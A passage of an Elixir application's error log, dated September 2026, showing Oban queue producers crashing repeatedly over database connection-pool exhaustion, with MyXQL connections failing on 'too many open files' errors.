00:36:13.240022Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.205313>, refresh_timer: #Reference<0.2525715032.1077673987.46286>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:36:13.239877Z], limit: 3, uuid: "93a0991b-413b-42dd-aa6b-e39fc54557e0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:13.239883Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.46289>, refresh_timer: #Reference<0.2525715032.1077673987.46279>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:36:13.240092Z], limit: 5, uuid: "3a133b26-62a4-4212-bff2-673b5da6c945", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:13.240097Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.205311>, refresh_timer: #Reference<0.2525715032.1121189889.205297>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:36:13.239886Z], limit: 5, uuid: "08b8251e-75a2-48a8-9949-0a1c7bce2d2f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:13.239892Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.205312>, refresh_timer: #Reference<0.2525715032.1121189889.205290>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1033ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:36:13.240138Z], limit: 20, uuid: "f43d4726-6ce6-45fb-926a-290ae13b9cf8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:13.240147Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.66762>, refresh_timer: #Reference<0.2525715032.1068498948.66754>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:25.318000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:30.480000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:31.606000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:32.114000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:32.130000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:33.065000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:33.432000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:34.406000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:36:37.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:36:25.241316Z], limit: 20, uuid: "42b7e304-76f0-4a1b-be76-1d8fde8207f0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:25.241322Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.66901>, refresh_timer: #Reference<0.2525715032.1068498948.66899>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 866ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:36:25.239278Z], limit: 50, uuid: "cf6298b2-762b-45cd-aeb4-0edcbf50701d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:25.239288Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64331>, refresh_timer: #Reference<0.2525715032.1077673987.46394>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 847ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:36:25.239761Z], limit: 10, uuid: "13c01fbc-fb04-4e6f-a9ae-9ccb2bacc2fb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:25.239767Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.46412>, refresh_timer: #Reference<0.2525715032.1121189889.205717>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:36:25.239926Z], limit: 3, uuid: "93bc4c7e-d7fb-484d-ae50-ef3f5636064c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:36:25.239932Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.205733>, refresh_timer: #Reference<0.2525715032.1121189889.205724>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:36:37.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
